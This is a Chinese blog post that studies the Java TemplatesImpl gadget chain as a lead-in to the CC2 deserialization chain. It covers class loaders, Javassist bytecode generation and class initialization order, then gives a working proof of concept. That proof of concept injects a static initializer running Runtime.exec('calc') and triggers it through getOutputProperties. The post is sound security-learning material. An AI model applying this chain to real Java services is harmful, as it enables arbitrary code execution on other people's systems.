TemplatesImpl利用链分析

前言

在学习java cc2链的时候看到利用TemplatesImpl,记得之前在fastjson反序列化的时候也遇到过,所以就想着单独写个TemplatesImpl利用链分析的文章,该篇也作为cc2链的前篇。

自定义类加载器

之前学习过Java的类加载过程,我们可以通过自定义类加载器来加载字节码,现在再来复习一遍

在编写类加载器的时候需要的条件有:

  1. 继承ClassLoader
  2. 重写findClass方法
  3. 在findClass方法中调用defineClass方法来定义一个类

当然,上述条件中我们不是一定要重写findClass方法的,我们也可以重写loadClass,只不过这样可能会破坏“双亲委派”机制,而且通过查看ClassLoader.findClass方法也可以明白为什么重写findClass(抛出异常的空方法)

在之前的文章中,我们通过文件读取class文件来获取字节码并进行自定义加载,但是这样操作起来难免会有些不方便,所以有没有一种方法可以直接通过java文件来直接获取字节码,确实可以这样,这里就需要学习一下javasist

javasist

首先我们在pom.xml里边添加一下依赖:

<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.22.0-GA</version>
</dependency>

通常我们需要将.java文件编译成.class才能正常执行,在命名行中我们通常使用javac来编译,javasist是一个处理字节码的类库,能够动态修改class字节码文件,也可以直接读取到一个java类的字节码,现在来简单学习一下它的常用用法:

Javassist中最为重要的是ClassPoolCtClassCtMethodCtField以及CtConstructor这几类。

CtClass: 一个CtClass(编译时类)对象可以处理一个class文件, 这些CtClass对象可以从ClassPool获得

ClassPool: CtClass对象的容器, 其中键是类名称, 值是表示该类的CtClass对象

CtMethods: 表示类中的方法

CtFields: 表示类中的字段

CtConstructor:标识类中的构造器

创建ClassPool对象作为CtClass的容器:

public ClassPool(boolean useDefaultPath) {}
// ClassPool pool = new ClassPool(true);
public static synchronized ClassPool getDefault() {}
// 效果与 new ClassPool(true) 一致
// ClassPool pool = ClassPool.getDefault();

获取指定类名的CtClass类对象:

public CtClass getCtClass(String classname) throws NotFoundException {}

销毁ClassPool容器里的CtClass类对象:

public void detach(){}

创建一个CtClass类对象:

public CtClass makeClass(String classname) throws RuntimeException {}
// CtClass test = pool.makeClass("Test");
public CtClass makeClass(InputStream classfile) throws IOException, RuntimeException {}
// pool.makeClass(new FileInputStream(new File("Test.class")))

获取CtClass类对象:

public CtClass[] get(String[] classnames) throws NotFoundException {}
// pool.get(TestInterface.class.getName())

ClassPath加到类搜索路径的末尾位置 or插入到起始位置。通常通过该方法写入额外的类搜索路径,以解决多个类加载器环境中找不到类:

// 起始位置插入
pool.insertClassPath(new ClassClassPath(this.getClass()));
// 末尾位置插入
pool.appendClassPath(new ClassClassPath(this.getClass()));

设置需要继承的类:

public void setSuperclass(CtClass clazz) throws CannotCompileException {}
// test.setSuperclass(pool.get(TestClass.class.getName()));

设置和添加需要实现的接口:

public void setInterfaces(CtClass[] list) {}
// test.setSuperclass(pool.get(TestInterface.class.getName()));
public void addInterface(CtClass anInterface) {}
// // test.addInterface((pool.get(TestInterface.class.getName()));

构造器相关操作:

// 创建空构造器
public CtConstructor makeClassInitializer() throws CannotCompileException {}
// 添加构造器
public void addConstructor(CtConstructor c) throws CannotCompileException {}
// 删除构造器
public void removeConstructor(CtConstructor c) throws NotFoundException {}

将java语句插入:

// 插入java语句
public void insertBefore(String src) throws CannotCompileException {}
// ctConstructor.insertBefore("System.out.println(\"Hello\");")
// 设置java语句
public void setBody(String src) throws CannotCompileException {}
// ctConstructor.setBody("System.out.println(\"Hello\");")

将编译的类创建为.class文件

public void writeFile() throws NotFoundException, IOException, CannotCompileException {}
//test.writeFile();

使用示例

以上方法只是小部分,还没有涉及方法、字段及构造器等诸多操作,现在使用刚才学习的这些方法来生成一个类.class文件,编写代码如下:

package com.serializable.cc2;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

public class MakeCtClass {
    public static void main(String[] args) throws Exception {
        ClassPool aDefault = ClassPool.getDefault();
        CtClass testCtClass = aDefault.makeClass("TestCtClass");
        aDefault.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        testCtClass.setSuperclass(aDefault.get(AbstractTranslet.class.getName()));
        CtConstructor ctConstructor = testCtClass.makeClassInitializer();
        ctConstructor.insertBefore("Runtime.getRuntime().exec(\"calc\");");
        testCtClass.writeFile();
    }
}

然后我们执行后将会在根目录生成TestCtClass.class文件

这里发现写进去的java语句是用static进行修饰的,static关键字在平时我们经常用于修饰变量或者方法,然后将它们叫做静态变量或静态方法,如果向上图所示那样,则是使用static关键字用于代码块,叫做静态代码块,当JVM加载该类时候就会执行这些静态代码块。

这里我想要通过自定义类加载器去加载这个类,先编写简单的自定义类加载器TestClassLoader

package com.serializable.cc2;

import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;

public class TestClassLoader extends ClassLoader {
    @Override
    protected Class<?> findClass(String name) throws ClassNotFoundException {
        Class<?> c = findLoadedClass(name);
        if (c == null) {
            String path = name + ".class";
            byte[] classData = null;
            try {
                classData = Files.readAllBytes(Paths.get(path));
            } catch (IOException e) {
                e.printStackTrace();
            }
            c = defineClass(name, classData, 0, classData.length);
        }
        return c;
    }
}

然后使用这个加载器去加载刚刚生成的TestCtClass.class,编写LoadTestClass

package com.serializable.cc2;


import java.lang.reflect.Constructor;

public class LoadTestClass {
    public static void main(String[] args) throws Exception {
        ClassLoader classLoader = new TestClassLoader();
        Class<?> testCtClass = classLoader.loadClass("TestCtClass");
        System.out.println(testCtClass);
    }
}

这里我本以为执行过后会弹出计算器,但是结果却和我想的不一样

不是说当JVM加载一个类的时候会执行它的static静态代码块的吗?

当我通过反射进行初始化该类的时候才弹出了计算器,添加了如下代码:

testCtClass.getConstructor().newInstance();

这时我突然对这个问题很好奇,也对之前学习Java类加载过程的内容标识怀疑!


经过向大佬请教,之前我们对类加载的理解也并没有问题,静态代码块确实是在JVM加载该类的时候执行,但是这里容易混淆,Java类加载按大了分为三个步骤:加载、链接、初始化!类加载和加载并不能混为一谈,按照之前的说法,JVM加载类包括以上的三个步骤,但是执行静态代码块的时候并不是在加载的这一个环节,而是在类加载的初始化环节!

这里还学习到了一个知识点,一个类初始化的三种方法:

  1. 静态初始化
  2. 匿名初始化
  3. 构造方法初始化

它们在类加载的过程中按照以上顺序执行,写个代码就懂了:

public class User {
    static {
        System.out.println("static");
    }
    {
        System.out.println("Empty");
    }
    public User() {
        System.out.println("User");
    }
}

通过不同方式去加载上边的这个User


public class Test {
    public static void main(String[] args) throws Exception {
        System.out.println("forName方法,initialize 为false,不进行初始化:");
        Class.forName("User", false, ClassLoader.getSystemClassLoader());
        System.out.println("forName方法,进行初始化:");
        Class.forName("User");
        System.out.println("进行实例化:");
        new User();
    }
}

这里发现实例化的时候没有输出static,因为类加载的时候静态代码块只执行一次:


public class Test {
    public static void main(String[] args) throws Exception {
        System.out.println("进行实例化:");
        new User();
    }
}


继续回到刚才使用自定义加载器去加载TestCtClass.class,这个过程中并不包括初始化操作(也不包括链接过程,只是类加载过程中的加载步骤),所以就不会执行静态代码块

TemplatesImpl加载字节码

说了这么多,终于切入正题了,TemplatesImep利用链的核心就是可以恶意加载字节码,因为该类中存在一个内部类TransletClassLoader,该类继承了ClassLoader并且重写了loadClass,我们可以通过这个类加载器进行加载字节码。因为是内部类,无法在外部进行调用,所以我们看一看哪个方法使用了这个类。

查看TransletClassLoader#defineTransletClasses

如上图所示,_bytecodes就是需要加载的字节码,它的类型是byte[][],所以我们需要转换一下类型new byte[][]{bytes}

_tfactory默认为null,如果为null的话在上图第二方框处就会报错,因为它是一个TransformerFactoryImpl类型的对象,所以我们只需要复制给它一个对象即可new TransformerFactoryImpl()

到这里,我们来尝试去加载一下这个类,这里可以使用javasist来生成class字节码并通过CtClass#toBytecode获取字节数组,也可以编写.java文件,进行获取,下边使用后者:

编写被加载类TestTemplatesImpl.java

package com.serializable.cc2;


import java.io.IOException;

public class TestTemplatesImpl {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    public TestTemplatesImpl() {
    }
}

然后通过反射赋值并执行TemplatesImpl#defineTransletClasses

package com.serializable.cc2;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;

import java.lang.reflect.Method;

public class LoadTestTemp {
    public static void main(String[] args) throws Exception {
        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.getCtClass("com.serializable.cc2.TestTemplatesImpl");
        byte[] bytes = ctClass.toBytecode();
        TemplatesImpl templates = new TemplatesImpl();
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
        Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        Method defineTransletClasses = TemplatesImpl.class.getDeclaredMethod("defineTransletClasses");
        defineTransletClasses.setAccessible(true);
        defineTransletClasses.invoke(templates);
    }
}

通过调试发现,这个类确实已经被加载了,但是最后并没有执行静态代码(当然,因为只是加载了这个类,并没有进行初始化)

所以我们继续查看一下哪里调用了TemplatesImpl#defineTransletClasses

一共有3个地方调用了TemplatesImpl#defineTransletClasses,但是发现在getTransletInstance这里进行了实例化操作,通过这里应该可以达到实现,我们来看一下执行条件:

首先_name不能为null,通过反射赋值为任意String类型

_class需要是null(默认为null,无需更改)

继续往下看,接下来的_class变量在TemplatesImpl#defineTransletClasses执行过后会被加载入类

然后_transletIndex变量默认为-1

TemplatesImpl#defineTransletClasses中也对这个变量进行了操作

superClass变量即加载入的类的父类,如果父类为AbstractTranslet就会给_transletIndex赋值(也就是载入类在_class的位置)

所以,我们需要在之前的TestTemplatesImpl.java代码修改如下:

package com.serializable.cc2;


import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class TestTemplatesImpl extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    public TestTemplatesImpl() {
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }
}

还要给_name赋值,并执行TemplatesImpl#getTransletInstance

package com.serializable.cc2;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;

import java.lang.reflect.Method;

public class LoadTestTemp {
    public static void main(String[] args) throws Exception {
        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.getCtClass("com.serializable.cc2.TestTemplatesImpl");
        byte[] bytes = ctClass.toBytecode();
        TemplatesImpl templates = new TemplatesImpl();
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
        Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        Reflections.setFieldValue(templates, "_name", "seizer");
        Method defineTransletClasses = TemplatesImpl.class.getDeclaredMethod("getTransletInstance");
        defineTransletClasses.setAccessible(true);
        defineTransletClasses.invoke(templates);
    }
}

执行后成功弹出计算器:

之后还可以进一步改进一下代码,在newTransformer处调用了getTransletInstance

并且该方法是一个public方法,不需要通过反射调用

这里捎带看了下synchronized关键字,大概解释就是用于Java并发编程中保证多线程安全的,当synchronized关键字修饰一个方法的时候,该方法叫做同步方法,该方法执行完或发生异常时,会自动释放锁。

所以我们可以直接调用TemplatesImpl#newTransformer也可以弹出计算器,进一步查找,看看还有没有其他方法

发现getOutputProperties方法中调用了newTransformer,这里应该依然可以成功弹出计算器,然后继续寻找无果,这条利用链也就到此结束了。

利用链如下:

TemplatesImpl#getOutputProperties->TemplatesImpl#newTransformer->TemplatesImpl#getTransletInstance->TemplatesImpl#defineTransletClasses->TransletClassLoader#defineClass

TemplatesImpl#newTransformer->TemplatesImpl#getTransletInstance->TemplatesImpl#defineTransletClasses->TransletClassLoader#defineClass

TemplatesImpl#getTransletInstance->TemplatesImpl#defineTransletClasses->TransletClassLoader#defineClass

最终POC

package com.serializable.cc2;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;


public class LoadTestTemp {
    public static void main(String[] args) throws Exception {
        ClassPool classPool = ClassPool.getDefault();   // 获取CtClass容器
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); // 引入AbstractTranslet路径到classpath中
        CtClass testCtClass = classPool.makeClass("TestCtClass");   // 创建CtClass对象
        testCtClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));    // 设置父类为AbstractTranslet
        CtConstructor ctConstructor = testCtClass.makeClassInitializer();   // 创建空初始化构造器
        ctConstructor.insertBefore("Runtime.getRuntime().exec(\"calc\");"); // 插入初始化语句
        byte[] bytes = testCtClass.toBytecode();    // 获取字节数据
        TemplatesImpl templates = new TemplatesImpl();
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
        Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        Reflections.setFieldValue(templates, "_name", "seizer");
//        templates.newTransformer();
        templates.getOutputProperties();
    }
}

执行结果截图:

生成的TestCtClass.class

posted @ 2023-01-21 23:36  seizer-zyx  阅读(385)  评论(0编辑  收藏  举报